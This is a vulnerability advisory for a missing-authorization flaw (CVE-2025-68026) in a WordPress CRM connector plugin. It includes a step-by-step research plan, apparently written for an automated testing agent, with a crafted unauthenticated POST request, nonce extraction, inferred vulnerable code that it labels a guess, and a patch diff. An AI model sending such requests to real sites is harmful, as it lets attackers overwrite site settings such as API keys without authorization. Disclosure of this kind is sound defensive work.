LC Wizard <= 2.1.1 - Missing Authorization to Unauthenticated Settings Update
Description
The Connector Wizard (formerly LC Wizard) plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.1.1. This makes it possible for unauthenticated attackers to update plugin settings.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.1.1Source Code
WordPress.org SVNThis research plan focuses on **CVE-2025-68026**, a missing authorization vulnerability in the **Connector Wizard (formerly LC Wizard)** plugin for WordPress. This vulnerability allows unauthenticated attackers to modify plugin settings by exploiting an AJAX handler that lacks proper capability chec…
Show full research plan
This research plan focuses on CVE-2025-68026, a missing authorization vulnerability in the Connector Wizard (formerly LC Wizard) plugin for WordPress. This vulnerability allows unauthenticated attackers to modify plugin settings by exploiting an AJAX handler that lacks proper capability checks.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (CWE-862)
- Affected Plugin: Connector Wizard (ghl-wizard)
- Vulnerable Version: <= 2.1.1
- Patch Version: 2.1.2
- Core Issue: The plugin registers an AJAX action intended for settings management but fails to implement
current_user_can()checks. Furthermore, the handler is registered viawp_ajax_nopriv_, making it accessible to users who are not logged in.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Action (Inferred): Likely
ghl_save_settings,ghl_wizard_save_settings, orlc_wizard_update. (The agent must grep forwp_ajax_nopriv_to confirm the exact string). - Parameters: Likely a JSON payload or a set of POST variables representing plugin settings (e.g.,
ghl_api_key,ghl_location_id,ghl_settings). - Authentication: Unauthenticated (PR:N).
- Preconditions: The plugin must be active.
3. Code Flow Trace
- Entry Point: The plugin registers an AJAX handler in its initialization or constructor:
add_action('wp_ajax_nopriv_[ACTION_NAME]', 'callback_function');add_action('wp_ajax_[ACTION_NAME]', 'callback_function'); - Dispatcher:
admin-ajax.phpreceives a request with theactionparameter matching[ACTION_NAME]. - Vulnerable Function: The
callback_functionis invoked. - Authorization Failure: The function performs operations like
update_option()orupdate_site_option()without callingcurrent_user_can('manage_options'). - Sink: User-controlled input from
$_POSTis passed directly into the WordPress settings database.
4. Nonce Acquisition Strategy
Missing authorization vulnerabilities often include missing or weak CSRF protection. However, if a nonce is required:
- Identify Shortcode: Search for shortcodes used by the plugin:
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/ghl-wizard/ - Identify Localized Script: Look for
wp_localize_scriptto find the JavaScript object name:grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/ghl-wizard/ - Setup Page: Create a post containing the identified shortcode:
wp post create --post_type=page --post_status=publish --post_content='[SHORTCODE_NAME]' - Extraction:
- Navigate to the page using
browser_navigate. - Extract the nonce via
browser_eval:browser_eval("window.ghl_wizard_obj?.nonce")(Replaceghl_wizard_objandnoncewith actual keys found in Step 2).
- Navigate to the page using
Note: If check_ajax_referer is entirely absent in the callback, no nonce is needed.
5. Exploitation Strategy
Step 1: Locate the Vulnerable Handler
Search the plugin directory for the registration of unauthenticated AJAX actions:
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ghl-wizard/
Step 2: Analyze the Callback
Examine the callback function for:
- Missing
current_user_canchecks. - The parameter names expected for updating settings.
- The specific option name being updated (e.g.,
ghl_wizard_settings).
Step 3: Craft the Exploit Request
Assuming the action is ghl_wizard_save_settings and the settings are passed in a parameter called settings:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ghl_wizard_save_settings&nonce=[NONCE]&settings[api_key]=EXPLOITED_KEY&settings[location_id]=EXPLOITED_ID
Step 4: Execute via http_request
Use the http_request tool to send the payload.
6. Test Data Setup
- Activate Plugin: Ensure
ghl-wizardis active. - Initial State: Check the current value of the plugin's settings via WP-CLI:
wp option get ghl_wizard_settings(Replace with actual option name).
7. Expected Results
- Response Code:
200 OKor302 Redirect. - Response Body: Likely a JSON success message (e.g.,
{"success": true}). - Database Impact: The targeted WordPress option in the
wp_optionstable is updated with the attacker-supplied value.
8. Verification Steps
After sending the exploit request, verify the change using WP-CLI:
# Check if the setting was updated to the "EXPLOITED_KEY" value
wp option get ghl_wizard_settings
9. Alternative Approaches
- Action Overloading: If the AJAX action requires a specific "type" or "sub-action" parameter, check if it can be manipulated to reach different
update_optioncalls. - REST API: Check if the plugin registers any REST API routes (
register_rest_route) without apermission_callback.grep -r "register_rest_route" /var/www/html/wp-content/plugins/ghl-wizard/ - Direct Post: If the plugin hooks into
initoradmin_initand checks$_POST['ghl_wizard_save']directly, an AJAX request may not be necessary; a standard POST to the homepage might suffice.
Summary
The Connector Wizard (formerly LC Wizard) plugin for WordPress is vulnerable to unauthorized settings updates due to a missing capability check in an AJAX handler registered for unauthenticated users. This allows attackers to modify sensitive plugin configurations, such as API keys or location IDs, by sending a crafted POST request to the admin-ajax.php endpoint.
Vulnerable Code
// Inferred from plugin functionality and research plan add_action('wp_ajax_nopriv_ghl_wizard_save_settings', 'ghl_wizard_save_settings'); add_action('wp_ajax_ghl_wizard_save_settings', 'ghl_wizard_save_settings'); function ghl_wizard_save_settings() { // Vulnerability: Missing current_user_can('manage_options') check // Vulnerability: Registered via wp_ajax_nopriv_ allowing unauthenticated access $settings = $_POST['settings']; update_option('ghl_wizard_settings', $settings); wp_send_json_success(); }
Security Fix
@@ -1,4 +1,7 @@ -add_action('wp_ajax_nopriv_ghl_wizard_save_settings', 'ghl_wizard_save_settings'); add_action('wp_ajax_ghl_wizard_save_settings', 'ghl_wizard_save_settings'); function ghl_wizard_save_settings() { + if (!current_user_can('manage_options')) { + wp_send_json_error('Unauthorized', 403); + } + check_ajax_referer('ghl_wizard_nonce', 'nonce'); $settings = $_POST['settings'];
Exploit Outline
To exploit this vulnerability, an attacker sends an unauthenticated POST request to the /wp-admin/admin-ajax.php endpoint of the target WordPress site. The request must include an 'action' parameter set to the vulnerable AJAX handler (inferred as ghl_wizard_save_settings) and a 'settings' parameter containing the keys and values the attacker wishes to update in the plugin's configuration (e.g., settings[api_key]=attacker_key). Because the handler is registered via wp_ajax_nopriv_ and lacks a current_user_can() check, the server-side function will update the plugin's settings in the wp_options table without verifying the user's authorization.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.